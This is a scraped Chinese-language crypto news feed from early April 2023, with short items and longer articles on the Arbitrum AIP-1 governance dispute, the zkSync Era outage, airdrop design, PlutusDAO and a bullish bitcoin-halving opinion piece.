    Arbitrum 的第一个治理提案引发争议，现有 10 亿美元的 ARB 代币处于风险中
    Arbitrum 的第一个治理提案引发争议，现有 10 亿美元的 ARB 代币处于风险中 据 CoinDesk 报道，Arbitrum 的首次治理尝试引发争论，原因是其中一项提议让让 Arbitrum 基金会控制价值近 10 亿美元的 7.5 亿个 ARB 代币，这些代币将资助一项旨在促进 Arbitrum 增长的「特别赠款」计划，但根据 AIP-1 提案，ARB 持有人无权决定 Arbitrum 基金会将近 10 亿美元的资金由谁或如何分配。此次投票目前处于初步阶段，之后将举行正式的最终论坛，在此之前，Arbitrum 基金会还没有公布其将如何管理赠款计划的关键要素。 内容来源  ( 27 min )

  • Open

    Zk Rollup浪潮来临，StarkNet生态协议ZKX如何为用户构建优质交易体验？
    Zk Rollup浪潮来临，StarkNet生态协议ZKX如何为用户构建优质交易体验？ – 深潮TechFlow 虽然以太坊仍在致力于解决其可扩展性的问题，但截至目前，以太坊依然无法承载大规模的用户采用——去中心化是一把双刃剑。 Read the full entry  ( 4 min )
    Zk Rollup浪潮来临，StarkNet生态协议ZKX如何为用户构建优质交易体验？
    Zk Rollup浪潮来临，StarkNet生态协议ZKX如何为用户构建优质交易体验？ – 深潮TechFlow 虽然以太坊仍在致力于解决其可扩展性的问题，但截至目前，以太坊依然无法承载大规模的用户采用——去中心化是一把双刃剑。 Read the full entry  ( 4 min )

  • Open

    数据：持有超过0.01枚ETH的地址创历史新高
    PANews 4月2日消息，Glassnode数据显示，持有超过0.01枚ETH的地址为23,516,993个，创历史新高。  ( 1 min )
    数据：过去一周Circle USDC流通量减少19亿美元
    PANews 4月2日消息，据官方数据，过去7天Circle共发行6亿美元USDC，赎回25亿美元USDC，流通量减少约19亿美元。截至3月30日，USDC总流通量为326亿美元，储备量为330亿美元，其中现金40亿美元，短期美国国债290亿美元。  ( 1 min )
    数据：zkSync Era∎TVL约9400万美元，超越zkSync Lite
    PANews 4月1日消息，据L2BEAT数据显示，zkSync Era∎在上线一周后，TVL已达到9392万美元，超越zkSync Lite（8622万美元）。  ( 1 min )
    PA图说 | 一图掌握以太坊上NFT关键数据（2023.04.01）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 1 min )
    数据：处于盈利状态的ETH地址数再创11个月高点
    PANews 4月1日消息，据Glassnode数据显示，处于盈利状态中的ETH地址数量约达6410万，再创11个月内的最高点，上一次创下高点为3月24日。  ( 1 min )
    数字资产基础设施开发公司GlobexUS拟以7400万美元估值融资250万美元
    PANews 4月1日消息，据CrowdFundInsider报道，数字资产基础设施开发公司GlobexUS将通过Reg D（506c）证券发行方式募集250万美元，该公司本次融资前的估值达到7400万美元。据悉，Globex US是数字资产市场Upstream背后的支持公司，其推出的Open Order Book数字证券交易软件能让用户通过以太坊对订单驱动的数字资产支持市场进行出价。  ( 1 min )
    欧盟或将禁止超过1000欧元的匿名加密货币转账
    PANews 4月1日消息，据Coinpaper报道，欧洲议会议员批准了三项法案草案以加强加密交易监管。该立法涉及洗钱和恐怖主义融资，虽然并不直接针对数字资产，但一旦签署成为法律，匿名转账将限制在1000欧元以内（约1087美元）。此外，新法规或将补充进加密资产市场规则 (MiCA) 法案。  ( 1 min )
    逃离Solana：「NFT革命」为何发生在以太坊或Polygon生态？
    作者：北辰 这两天有两个Solana上的头部NFT项目正式开始逃离了——y00ts到Polygon，DeGods到以太坊。 迁移的方式很简单，就是用户销毁Solana上原有的NFT，并在新链上重新铸造。 尽管现在NFT收藏品市场相对低迷，但这两个系列加起来已经有一亿多美元，它们都是DeLabs推出的，并且在去年12月份就决定离开Solana。 而且据DeLabs创始人Frank透露，他们还关注着比特币生态，其中DeGods已通过Ordinals刻在比特币上（以铭文的形式写在比特币上）。 也就是说，在DeLabs看来，比Solana更优的选择有很多。无论你是否认可这个观点，DeLabs的判断还是值得所有关注NFT收藏品市场的人参考（至于影响因子设置多大，则取决于个人），至少有三点提示。 尽管在Solana拥趸看来，还是有不少技术创新之处，但应该没有人否认它牺牲了去中心化这个区块链最重要的特质。再加上Solana背后的FTX暴雷后，从资金到预期都不尽如人意，最终生态发展也就后继乏力。 也许在Solana上运行一些实用产品（如游戏）还多少有些竞争力，但NFT收藏品则是纯靠共识在支撑。Solana从技术到生态都没有竞争力，就像我们昨天文章里提到的蚂蚁链，而且至少蚂蚁链还有个合规优势。 y00ts去Polygon，首当其冲的原因是Polygon投了300万美元，但更深层次的原因是Polygon上已经吸引了一些传统领域的巨头，如星巴克、迪士尼、耐克、Reddit等。 后续y00ts可以与它们建立合作关系，如搞联名会更方便，而这是一个非常大的市场（请参见我们昨天的文章《把NFT带进现实的PBT方案，对潮牌、潮玩的吸引力有多大？》）。 Polygon就好比一座有越来越多的外来企业迁入的城市，而且这些企业还吸引来了配套产业链上的精英过来，那么这座城市起飞几乎是大概率事件。 而且根据经济学常识，随着资源密度的增加，创新会以几何倍数涌现，落叶正在堆积，就等下一轮牛市的火星来点燃它。 DeLabs团队直言，“如果我们要成为世界上最大、最受欢迎的NFT系列，你就必须在以太坊上“。 尽管有很多以太坊杀手，但基本都是在挑战以太坊的性能，至少在可以预测的将来，以太坊的共识是仅次于比特币的。这不是技术的问题，也无关白人与华人之争，单纯是以太坊的社区氛围依然凝聚了最优秀的一批builder，这是价值观的问题。 就好比当19岁的Vitalik思考如何突破比特币的瓶颈时，一些技术水平比他高的人研发了矿机，他们都有光明的前途，只是通往了不同的方向。 Polygon更适合潮玩类的NFT收藏品，而真正承载价值的NFT收藏品还是得在以太坊上，只有以太坊的共识才有足够的背书来声明对原始数字作品的所有权，其它公链更适合土狗。  ( 1 min )
    Santiment：3月发生年内5笔最大额BTC交易，持有10至1万枚BTC的地址数量正持续减少
    PANews 4月1日消息，据DailyHodl报道，加密分析公司Santiment表示，今年迄今为止最大的五笔比特币交易都发生在3月份，其中最大额的一笔交易转移了价值约5.64亿美元的BTC。Santiment总监Brian Quinlivan在该篇博客文章中表示，BTC交易的规模以及比特币鲸鱼数量的减少可能表明大型实体投资机构正试图锁定其投资收益。基于3月份进行的非常大额的交易，以及持有10至1万枚BTC地址占比的继续下滑和逐渐减少来看，确实为希望看到更高价格的投资者提供了一些合理的警告标志。  ( 1 min )
    zkSync：已确定网络宕机原因并解决问题，后续将发布详细报告
    PANews 4月1日消息，zkSync发推表示，zkSync Era网络在欧洲中部时间凌晨1:52–6:02出现停机。zkSync团队确定了原因并已解决问题，网络已正常运行，zkSync将很快向社区提供更多详细的事后分析。 此前消息，zkSync Era主网疑似宕机，3小时未出块。  ( 1 min )
    ARB空投大获成功，对项目方有何重要启示？
    原文：《How ARB Shifts the Future of Airdrops》by Jack Inabinet 编译：Katie 辜 ARB的推出对加密货币和以太坊来说是一个重要时刻，对空投界来说也是一个巨大的里程碑。ARB之后的项目方要如何对早期采用者进行代币激励呢？今天，让我们深入探讨下空投的未来。 空投仍然是奖励社区和将协议所有权去中心化的首选模式。然而，Uniswap风格的追溯式空投已经一去不复返。通过一笔简单的交易或LP头寸将不再使你有资格获得空投。即使是最基本的空投方式，现在也将空投分级标准和反女巫攻击机制考虑在内。 虽然Arbitrum无疑是2023年（迄今为止）最热门的空投，但从技术性能和代币分发的角度来看，其空投方式仍有不足之处。本文我们将剖析ARB空投的一些陷阱，并探讨其他明星协议是如何在过去的空投上迭代，同时协调社区，吸引流动性和最大限度地减少网络被干扰的情况。 3月23日，超过11.6亿个ARB被空投到62.5万个独立活跃的钱包中，每个地址的分发数量从625到10250个Token不等。大部分认领活动都是提前进行的，52%的分发在头四个小时内被认领。在ARB发布日，Arbitrum出现了极高的链上活动水平，创下了61.2万个活跃地址270万笔交易的历史记录，分别比以太坊高出145%和32%。 来源：Artemis 大量流量导致Arbitrum定序器崩溃，并导致公共提供程序之间的RPC端点故障。虽然Arbitrum的技术目前在行业中是最顶尖的，通过Nitro提供了更高的吞吐量和呼叫数据压缩（call data compression），但在ARB空投后的几个小时内，区块链技术的局限性开始暴露出来。 Arbitrum的 Web2 基础设施也无法处理负载。在ARB发布后的几个小时内，推荐的认领门户网站arbitrum.foundation和区块链浏览器Arbiscan都宕机了。Arbitrum用户和空投认领方随即在推特上表达了不满。 2022年大火的追溯性空投（奖励那些已经与协议或产品交互过的用户）和简单的空投标准已经跟不上行业发展速度。当今最热门的协议认识到空投的潜力，并正在设计新颖的分发策略，以最大限度地利用其潜力。 不可否认，空投是许多协议所产生的最大“费用”，那么它们如何实现价值最大化呢？ 任何空投的主要目标都应该是公平地奖励各种链上活动，致力于将代币分发给那些最不可能出售和最有可能参与治理的用户。有针对性的分发标准是实现这一追求的关键。 除了基本用途之外，协议已经开始越来越多地奖励多种类型的链上交互。 虽然Arbitrum为DAO提供了可自行支配的代币，但其rollup错过了直接奖励生态系统中良好公民行为的机会，似乎忽视了“进入奥德赛活动”（Odyssey）的NFT持有者。虽然目前空投不打算完全取代交易价值和使用代币的行业标准，但可以使用额外的方式来奖励理想的用户行为。例如，Arbitrum可以将治理参与纳入其获得空投的标准中。 尽管与Nansen的合作打击了女巫攻击者，但Arbitrum的女巫攻击检测中存在明显的漏洞。X-explore进行的一项分析发现，ARB空投中包括大约4000个女巫攻击社区，控制着15万个有资格认领2.53亿个代币的地址（占ARB用户分配的21%）。有三个著名的女巫攻击社区就声称认领了超过420万ARB。 “反女巫机制”虽然不是一个“十全十美”的解决方案，但降低标准并奖励具有良好链上用户行为特征的各种行为，可以帮助限制分发给女巫攻击farmer的代币数量。设置额外的标准有助于管理空投分配，并向那些对生态系统有贡献的地址提供代币。 拉扯式空投（Pull-style airdrop）要求代币接收者认领空投，对许多项目来说似乎很有吸引力。避免了Gas费用，进行认领活动为协议提供了机会，让项目方可以通过促进治理来劝阻“到手即卖”的Holder，正如Arbitrum的认领过程。然而，考虑到区块链技术目前的局限性，全网范围的拉扯式空投可能会造成链上的混乱，阻碍链处理交易的能力，并造成复杂的代币认领体验。 Optimism的二次空投采用了推送方式，在不造成更广泛网络中断的情况下，“丝滑”地将5500万个OP分配到超过3.3万个独立活跃地址。虽然拉扯式空投对于试图引导治理参与的大型初始空投的协议是可行的，但对拥有大量钱包的网络进行重复空投最好采用推送方式。 哪个加密应用程序不喜欢吸引更多的TVL呢？空投提供了一种方便的方式来做到这一点。NFT市场Blur在追溯空投模式上进行了创新，并选择主动宣布空投资格标准以吸引用户。 自推出以来，Blur已向各种用户类别公开宣传其空投代币的意图，而NFT市场的大部分最初采用率都来自于试图最大限度地提高其空投资格的用户。目前，Blur处理了每周NFT交易量的72%，部分原因是预先宣布了其第二季空投。 来源：Dune Analytics 尽管Blur的策略取得了成功，但Arbitrum仍然坚持仅基于用户过去的参与活动进行代币分发，错过了吸引更多用户和TVL加入该链的机会。随着激励措施的最终枯竭，Blur在NFT交易领域的主导地位可能会逐渐消失，但预先宣布的空投帮助Blur在与OpenSea等巨头的竞争中“站稳了脚跟”。 空投是通过追溯性分配直接面向消费者的营销支出。虽然这些代币分发量不需要很大，但向竞争性协议的用户授予代币可以加强项目方和用户之间的关系，并为捕获新的流动性和用户提供机会。Optimism和Sturdy Finance都属于使用这种方法的协议，每个协议都将部分代币分配给竞争协议的用户。 最佳空投实践并不会“一锤定音”。协议正在不断更新代币分发方式，试图优化获得空投的用户资格，吸引流动性，并创造“丝滑”的用户体验。 加密行业在不断变化，但很明显，Arbitrum的最新空投并不是最终的空投形式。其他项目正在进一步创新空投方式，但Arbitrum代币的推出对该行业来说是一个重要启示。  ( 1 min )
    孙宇晨否认了彭博社关于Huobi正在寻求股权买家的报道
    PANews 4月1日消息，孙宇晨在推特上否认了彭博社关于Huobi正在寻求股权买家的报道。 此前彭博社援引知情人士报道，孙宇晨已经就出售Huobi的股份进行了谈判。  ( 1 min )
    Binance.US将“过渡到新的银行服务”，会暂时影响存取款功能
    PANews 4月1日消息，据CryptoSlate报道，根据Binance.US状态更新信息显示，由于“银行业近期发展”，Binance.US将“过渡到新的银行服务”，届时一些存款和取款功能将暂时无法使用，几种转账方式也将不可用，包括电汇存款和取款、Apple Pay存款和Google Pay存款，此外，5%的客户无法使用借记卡存款。  ( 1 min )
    DeGods开放向以太坊迁移，NFT市场Blur宣布上线DeGods
    PANews 4月1日消息，NFT项目DeGods宣布已向NFT持有者开放向以太坊网络的迁移，NFT市场Blur随后也宣布DeGods已在其平台正式上线。据悉，在48小时内，DeGods将免除以太坊上的DUST质押/取消质押费用。以太坊链上的DeGods NFT交易将会收取0.33%的版税。  ( 1 min )
    彭博社：孙宇晨已经就出售Huobi的股份进行了谈判
    PANews 4月1日消息，据彭博社援引消息人士报道，波场TRON创始人、火必Huobi全球顾问委员会成员孙宇晨已经就出售Huobi Global的股份进行了谈判。据悉，孙宇晨在过去几周试探了潜在投资者的意见。谈判还处于早期阶段，尚不清楚是否有投资者会继续推进。  ( 1 min )
    数据：3月份Arbitrum网络费用达595万美元
    PANews 4月1日消息，据Token Terminal数据显示，3月份Arbitrum网络费用达到595万美元，超过Polygon（388万美元）和Optimism（223万美元）。  ( 1 min )
    从减半周期分析：为什么现在是买入比特币的最佳时刻
    作者：Jesse Myers, 斯坦福MBA 编译：Felix, PANews 没有人抄底，因为下跌感觉就像一场灾难。一年来，滚雪球般的恐惧压倒了加密人士。可以看到红色趋势（下跌）持续了12个月，动物的本能驱使加密人士开始相信，下跌会永远持续下去。没人想买还未触底的比特币——因为大家都不知道底部究竟有多低。所以加密人士都在旁观，就像车灯下的鹿一样僵住了。 你可能想低价买入比特币，并在等待合适的时机。但是，当比特币在2022年11月暴跌至1.5万美元时，你仍在观望并等待更低的价格，以为可能会有机会以多年前后悔没有买入的神奇价格买入。 每个人都看着底部过去，认为它还会更低。所以，不要对自己太苛刻——因为身边很多人都这样。 你可能梦想过抓住确切的价格底部，但这几乎不可能。恐惧的高峰已经过去了，所以忘掉最近的价格底部吧，它已成过去式。取而代之的是，现在有了更清晰的认识——目前的价格相对于底部的位置并不远，更重要的是，未来2年的趋势（几乎肯定）将是积极的。 Jesse Myers上一次在风险调整时期，对比特币持这种乐观态度是在2020年5月，当时价格为9000美元。在接下来的18个月里，比特币飙升至6.9万美元（上涨约7倍）。 这种看涨情绪并非武断的。这是基于比特币的供求机制。这些机制创造了一个黄金机会——每四年一次的时间窗口。让人们有机会将比特币作为他们投资组合的一部分，相信他们的直觉，比特币是他们不想再错过的东西。而现在就是窗口。 为什么？ 这是比特币的供应发行时间表。这是什么意思？比特币在2009年1月推出的那一天，当时还没有比特币。而最终的上限2100万枚比特币。但是如何从0到2100万呢？ 比特币的创造者采用了一种非常聪明的方法——将比特币奖励给为网络提供算力的人（“挖矿”）。更聪明的是，他将这个系统设计为每四年释放一半。这创造了一种令人难以置信且日益稀缺的属性，这是其他资产以前从未有过的。其结果是带来了一个不可思议的特性：比特币随着时间的推移变得更有价值。 该系统的魔力通过“减半”发挥作用。上图的虚线是供应量永久减半的时刻，每四年发生一次。这个事件令人难以置信的是它所启动的供需机制。当新的供应减少一半时，会产生供应短缺，打破现有的供需价格平衡。突然间，没有那么多的比特币进入市场来满足市场需求。这种供应短缺日复一日地累积，买家自然会开始提高出价以找到有意愿的卖家。 结果，价格开始上涨。这被称为价格发现，当条件发生变化，价格需要调整，以重新实现供需均衡，这适用于所有市场。 但这对比特币过去的价格有何影响？ 比特币在其14年的生命周期中经历了三次减半——分别在2012年、2016年和2020年。在每一次减半后的12-18个月里，比特币均经历了一次大牛市。（你可能是在2013年的疯狂上涨期间第一次听说比特币，然后在2017年惊讶地再次听到，之后便是2021年) 以下是这些反弹的情况（注意：这里的y轴是对数，这意味着1美元和10美元之间的视觉空间与1000美元和1万美元相同）： 这幅图说明了一切。但可能有点不易理解这些数据和其中的含义。所以，以下为提炼的核心要点： 这就是规律。就是这么简单。 不了解比特币的人会认为这样的规律是偶然的，认为期待它再次发生是愚蠢的。(毕竟，“过去的表现并不代表未来的结果”)问题是，在这种情况下，它还会再次发生。 减半已写入比特币代码中。只要比特币还存在，下一次比特币减半绝对会发生在2024年春季（届时比特币区块链中的第84万个区块将被添加，目前预计发生在2024年4月27日）。这不是偶然，这是机制。 许多人对此表示怀疑，其实是可以理解的。这怎么可能呢？这听起来令人难以置信，与许多人所知道的任何事情都不一样。一种资产为何能有如此可靠的牛市？竟是供应减半，而导致比特币日益稀缺。 然而，99%的人甚至从未听说过比特币减半。事实上，你正在阅读这篇文章，意味着你现在就处于那1%之中。这就是所谓的信息不对称：你比世界上的其他人更有优势。 Jesse Myers觉得很美妙的是，这么早就发现比特币的人，他们的个人属性和生活经历一定有着某种独特的组合，从而将他们带到这里。值得思考的是，是什么把你带到这里来学习比特币，而世界的其他多数人仍然认为比特币是一个笑话，而且转瞬即逝。不管是好奇心强，还是不相信现状，或者是接受了来自上天的暗示，你都在这里。 无论如何，如果将比特币的价格历史综合成一个概念趋势，它会是这样的： 比特币面临的挑战之一是质疑声太多。每个人都有自己的看法，但几乎没有人知道他们在谈论什么（记住：你已经是对比特币了解程度排前1%的人）。 最重要的是，价格走势也不断受到干扰。在给定的任何一天、一周或一个月，比特币的价格似乎都可以随机移动——上涨、下跌或横盘整理。这种短期价格走势是由新闻事件、大户的隐蔽行动或大户欺骗尽可能多的小交易者等造成的。然而，每个人都在花时间试图预测短期价格。忘掉它吧，短时间预测没太大意义。 但如果把画面放大到足以看到减半部分，就会看到受干扰下的信号（参见上图）。 现在最重要的是，如果上述关于比特币减半机制的表述是准确的，那现在意味着什么？ 没有什么是完全确定的，但如果Jesse Myers对这种资产的理解是正确的，那么现在是4年周期底部之后的时间窗口，这意味着几件大事： 如果上述预测是正确的，那么明年比特币的价格可能会稳定在3万至4.5万美元之间。没什么特别令人兴奋的，但仍然比今天的价格高很多。然后毫不疑问的，2024年春季减半将在一年多后到来。 在接下来的几个月里，只有当需求大于供给时，价格才会上涨，整个投机泡沫过程将再次上演。Jesse Myers认为在未来两年内，很可能会看到10万美元的比特币，甚至20万美元的比特币。可以肯定的是，比特币热潮还会卷土重来——全世界都在试图弄清楚为什么比特币会再次繁荣起来（同时继续忽视摆在他们面前的致富机会）。只有到那时，你的朋友和家人才会开始考虑购买比特币。  ( 2 min )
    数据：约27亿枚ARB从Arbitrum归属地址转出，此次分配或属于团队和顾问
    PANews 4月1日消息，据Spot On Chain监测数据显示，约27亿枚ARB（约37.2亿美元）从Arbitrum归属地址中转出并分发至145个地址。分发过程通过中间钱包进行，目前仍有417万枚ARB （约576万美元）尚未分配。此前根据Arbitrum公布的代币经济模型显示，初始总供应量的26.94%（26.94 亿枚）会分配给Offchain Labs团队和顾问，此次分配或属于团队和顾问。  ( 1 min )
    治理聚合器PlutusDAO如何成为Layer 2治理黑洞？
    在上周结束的 Arbitrum 空投中 DAO 意外成为了最大赢家，根据 Arbitrum 官方公布的空投细则中显示，共有 137 个 DAO 获得了 ARB 空投，总计约 1.12 亿枚，可见其对去中心化治理的重视。对于希望参与 Arbitrum 生态治理的用户来说，治理聚合器 PlutusDAO 是最佳选择。 (资料来源：Arbitrum DAO Airdrop) PlutusDAO 是 Arbitrum 上原生的治理聚合器，旨在最大化用户的流动性和奖励，同时将使用 veTokens 的项目的治理权聚合到一个 token PLS 上。 PlutusDAO 目前共有两个产品：plsAssets 用于治理聚合，能最大化 veTokens 的流动性和奖励；plvAssets 是为用户最大化奖励和便利而构建的金库产品。 用户将使用 ve 机制的 token 存入 Plustus 中，会被永久锁定为对应的 vetoken，同时 1:1 得到代表治理权和收益权的 plsAsset，Plutus 会在与其合作的 DEX 上创建相应的 plsAsset-Asset 流动池。通过 plsAssets ，用户可以参与 Arbitrum 上的 defi 项目治理并获得额外收益，同时也能随时退出流动性。 目前 Plutus 共支持 5 种 plsAsset 的转换：ARB、RDNT、DPX、SPA、JONES，未来还将持续引入更多的 plsAsset。 自上线以来，通过 Plutus 生成的 vetoken 份额持续上涨，目前 Plutus 已经拥有了 49.5% 的 DPX 治理权，45.3%的 SPA 治理权，91.9% 的 JONES SLP 份额，超过 9M 枚 ARB 转换为了 plsARB，目前所有 plsAssets 的 MCP 为 $72.7M。 (资料来源：Dune) (资料来源：Dune) 质押 plsAsset 能与项目本身的 vetoken 一样能获得Bribes+fee 奖励，为plsAsset-Asset 池子提供流动性还能获得 PLS 激励。不过从 plsAsset 转换回 Asset 的汇率取决于市场需求，并不是1:1 锚定的，从目前$40M TVL 和 $19.1M 的 plsAsset TVL 可估算出 plsAsset 转换回 Asset 的平均汇率为0.914。 (资料来源：PlutusDAO 官网) plvGLP 是为 GMX 的 GLP 创建的自动复合金库，用户将 GLP 存入 Plutus 会收到 plvGLP，链下机器人每 8 小时会自动复合一次收益并存入其基础的 GLP 头寸中，从而使 plvGLP 不断升值，目前 plvGLP：GLP 的兑换比例为 1:1.127。存入GLP 不收取费用，退出需要 2% 的手续费，1.5% 给 Plutus，0.5% 回到金库并分配给 plvGLP 持有者。目前 plvGLP 的 TVL 为 $5.8M ，APR 为 46%。 (资料来源：Dune) Plutus 会对 plsAsset 和 plvAsset 收取其收益率的 10%-20% 作为费用。 (资料来源：Plutus Docs) 这些费用会全部进入Plutus treasury 并 100% 分配给 PLS 质押者。目前共有 8.5M 枚 PLS处于质押中，质押率为 35.7%，当前纪元质押 APR 约为 10.6%。截至 3 月 30 日，质押的 PLS 累计已捕获 $6M 的奖励。 (资料来源：Dune) Plustus V2 版本是对经济模型的一次重大更新，通过引入 bPLS 机制确保 token 激励与平台使用完全一致，为长期用户创造一个良性的、可持续的循环，同时还会新增内置的贿赂板块。据官方公布，V2 版本将在不久之后启动。 bPLS 代表了用户在贿赂、协议费用、PLS 治理中的投票权、费用折扣和生态系统内提升能力的份额，bPLS 由以下 4 个部分组成： vlPLS：质押中的 PLS； vlPLS-WETH LP； bbPLS：类似 GMX 中的乘数积分，可通过 vlPLS、vlPLS-WETH LP、esPLS 累积，当结束质押时会按比例销毁； esPLS：托管中的 PLS，在 12 个月内线性归属为 PLS，未来的 PLS 将以 80%esPLS+20%PLS 的形式排放； 简单来说就是锁定的 PLS 、vlPLS-wETH LP、esPLS 份额越大，锁定的时间越长，从贿赂和协议费用收入中获得分配的比例也越高。 (资料来源：Plutus Docs) PlutusDAO 通过引入面向 vetoken 的 Liquid Staking Derivatives：plsAsset，实现了用户和协议的双赢。对于用户来说通过 Plutus 质押 token 能获得额外的收益并拥有随时退出的流动性；对于协议来说，Plutus 能引入大量的质押，减少排放对 token price 的稀释。目前 Plutus 正在致力于将 plsAssets 扩展到借贷协议中，预计 plsAssets 的流动性将进一步提升。 PlutusDAO 将 Arbitrum 上的一系列原生协议的治理权聚合到了 PLS 上，将从其他不断增长的协议中赚取费用、获得贿赂。V2 版本将引入内置的贿赂板块，加上经济模型的改良，能够为长期用户创造一个良性的、可持续的循环。从 Convex 在 Curve war 中取得的成功不难看出，未来随着 Arbitrum 生态的增长，Plutus 的发展潜力是巨大的，或将成为 Layer 2 的治理黑洞。  ( 3 min )
    1inch治理团队成员提议修改DAO治理流程，意在削弱投资者等内部人士的投票权
    PANews 4月1日消息，1inch治理团队成员Jordan Reindl提议修改1inch DAO治理流程，包括从1inch Snapshot空间中删除st1INCH(v1) 投票和委托策略；更改st1INCH(v2) 投票和委托策略以使用Unicorn Power而不是代币余额；将现有的20%加权v1INCH策略替换为模拟UnicornPower权力衰减的策略，也即完全归属且未认领的v1INCH将大大削弱投票权，在其归属合约开始时的v1INCH与在2年锁定期开始时的st1INCH具有完全1:1的投票平等权利；将Snapshot提案创建要求提高到需要10万投票权重（当前为2.5万）。 目前该提案还处于讨论阶段。据悉，拟议的治理修改策略将大大减少核心贡献者、投资者和其他内部人士积累的投票权。  ( 1 min )
    贝宝金融债权人保护延期请求被搁置
    PANews 4月1日消息，据彭博社报道，贝宝金融（Babel Finance）联合创始人Flex Yang表示，在债权人Deribit提出反对意见后，就Babel Finance请求延长债权人保护的请求，新加坡法院拒绝做出更明确的决定。Flex Yang称，法院准许临时暂停，直到4月17日 Babel Finance的债权人保护请求的下一次听证会日期。  ( 1 min )
    zkSync Era主网已恢复出块
    PANews 4月1日消息，zkSync Era区块链浏览器显示，zkSync Era主网目前已恢复出块。此前zkSync Era主网疑似宕机，4小时未出块。  ( 1 min )
    CoinFLEX：将于下周开始向债权人分配rvUSD、股权和USDT/USDC等资产
    PANews 4月1日消息，据官方消息，CoinFLEX表示将于下周开始根据批准的重组条款向债权人分配相关资产，所有LUSD交易将于北京时间2023年4月1日20时左右永久停止。为债权人发放的资产将包括rvUSD、股权以及USDT/USDC。预计将于下周初开始支付rvUSD部分，随后将开始发放股权，USDC和USDT预计将于下周末发放。股权发放将需要债权人提交额外的KYC文件，包括护照和地址证明。未能提供所需KYC信息的债权人将无法获得相应股权。此外，债权人需要在6个月时间内遵守这些KYC要求，否则他们的股权可能被没收。  ( 1 min )
    亚马逊NFT市场将推出Beeple和Pudgy Penguins创作者的数字收藏品
    PANews 4月1日消息，据Blockworks报道，据知情人士透露，亚马逊将在NFT市场推出知名加密创作者的数字收藏品，其中包括Beeple和Pudgy Penguins创作者。根据一份保密服务协议条款，亚马逊将在其控制的私人和许可区块链上运行NFT市场。另一份机密文件证实了NFT市场将使用私人区块链，并补充说亚马逊网络服务(AWS)是其主要贡献者。据多位消息人士透露，亚马逊已经为NFT市场的推出签署了一些保密合作伙伴关系。除了Beeple和创作者创造者外，亚马逊向产品合作伙伴透露，还将与Artifact Labs和Proof Collective达成合作。  ( 1 min )
    zkSync Era主网疑似宕机，3小时未出块
    PANews 4月1日消息，zkSync Era区块链浏览器显示，zkSync Era主网疑似宕机，最新出块发生在3小时前。提交给以太坊的最新批次为#5606。  ( 1 min )
    数据：比特币非零地址创历史新高
    PANews 4月1日消息，Glassnode数据显示，比特币非零地址达到45,408,435个，创历史新高。  ( 1 min )
    推特向全球社区开放大部分源代码
    PANews 4月1日消息，据官方消息，推特向全球社区开放大部分源代码，已公开GitHub上两个新的存储库（main repo、ml repo），其中包括推荐算法，但不包含为广告推荐提供支持的代码。推特还表示，已采取额外措施来确保用户的安全和隐私，因此决定不发布与推特算法相关的训练数据或模型权重。  ( 1 min )
    Arbitrum发起AIP-1提案，拟引入ArbitrumDAO
    PANews 4月1日消息，据Blockworks报道，Arbitrum社区已发起Arbitrum Improvement Proposal 1 (AIP-1)提案，拟引入一个名为ArbitrumDAO的去中心化自治组织结构。该基金会将设在开曼群岛，将负责Arbitrum生态系统的成长和发展。该提案背后实体Lemma还将申请7.5亿枚ARB代币（价值约超10亿美元）资金拨款。Lemma表示，根据ArbitrumDAO章程中规定的AIP流程，ArbitrumDAO将对DAO金库拥有直接的链上治理权力。尽管该提案目前尚未获得批准，但已经创建了一个地址名为“Arbitrum DAO Treasury2”的多重签名钱包，并且收到近7亿枚ARB代币，Arbitrum基金会的一位代表证实，该地址是行政预算钱包。该提案已在Snapshot上开放投票，目前支持比例接近90%，投票将于4月3日结束。  ( 1 min )
    一周精选丨PANews PARTY AWARD 2023年度榜单正式揭晓；币安突遭CFTC起诉；2023年Q1将收官，比特币涨超70%
    PANews编者按：PANews精选了一周的优质内容，帮助大家利用周末时间查漏补缺，点击标题即可阅读。PANews已上线Hong Kong Web3 Festival 2023活动汇总（持续更新），点此查看更多活动日程 12项权威年度奖项，77家入榜，PANews PARTY AWARD 2023年度榜单正式揭晓 经过长达近2个月的数据初选、公开征集、线上投票及专业评审团评议后，最终有67个项目/企业和10位个人获得“PARTY AWARD 2023”12项权威年度奖项。 香港新政送春风，大湾区Web3专家共议大潮如何起东方 3月24日下午，由WestLabs和PANews联合主办的“潮起东方·大湾区WEB3峰会”在深圳顺利召开。 时代巨变，诸神觉醒，网络国家和主权个人正兴起 人类将在历史上第一次脱离物理限制，在数字世界里实现永生。 银行危机爆发，比特币“V型反转”，加密VC们对今年市场行情和叙事都有什么看法？ 硅谷银行暴雷，美联储出手。随后比特币单日暴力拉升20%，突如其来的上涨打乱了许多投资者的阵脚，在懊悔踏空之余，大家又开始思考：比特币今年还会上涨吗？ 猎杀时刻：继狙击印度首富之后，做空“新星”盯上加密市场 “排雷”是今年加密市场的重要主题。 PAData：本月DEX交易量环比增长72%，衍生品单月交易量创2022年来新高 本月DeFi市场出现回暖迹象，DEX的交易量有所回升，尤其是衍生品类交易量增长明显。 美CFTC细数几宗罪起诉币安和赵长鹏，或开出巨额罚单，业内如何看待？ 美CFTC和包括司法部在内的其他联邦机构多年来一直在调查币安，这起诉讼是过去一年加密行业遭受的最新一起监管打击。 加密“无间道”，CFTC向币安发难背后或与FTX有染？ CFTC对币安的监管行动或与SBF及FTX有着一定联系？ 视频｜快速了解，CFTC为何起诉币安！CZ在劫难逃，传闻与FTX相关？ CFTC来势汹汹起诉币安和CZ，细数数条罪名，币安为何会被起诉？CZ又是否在劫难逃！？更有行业人士猜测币安被CFTC调查，背后有FTX的推波，视频带你快速了解！ PA图说 | 一图看懂美CFTC对币安的指控和CZ的回应 美CFTC细数币安违反监管规定的七宗罪并进行起诉，币安做何回应？ 更多CFTC起诉币安内容，请移步至专题：币安突遭美国CFTC起诉，CZ的“4”回应还管用吗？ zkSync Era启动主网，详解独特架构和生态应用 本文PANews将为你详解zkSync Era主网现状，及其生态已经上线的应用。 错过了 OP、ARB？别急，还有这 10 个热门空投项目 即将到来的所有热门空投项目以及交互策略 以太坊生态创新不断，为什么EigenLayer值得特别关注？ 引入二次质押叙事的EigenLayer有着很广阔的前景。 一览Base生态基金四大支持方向，市场的下一个趋势？ 在宣布推出Base生态系统基金的三周后，该基金于3月26日公布了支持的四大方向，包括稳定币、DeFi、链上声誉平台以及链上限价订单簿（LOB）交易平台。这四个方向具体包含哪些？本文带你一探究竟。 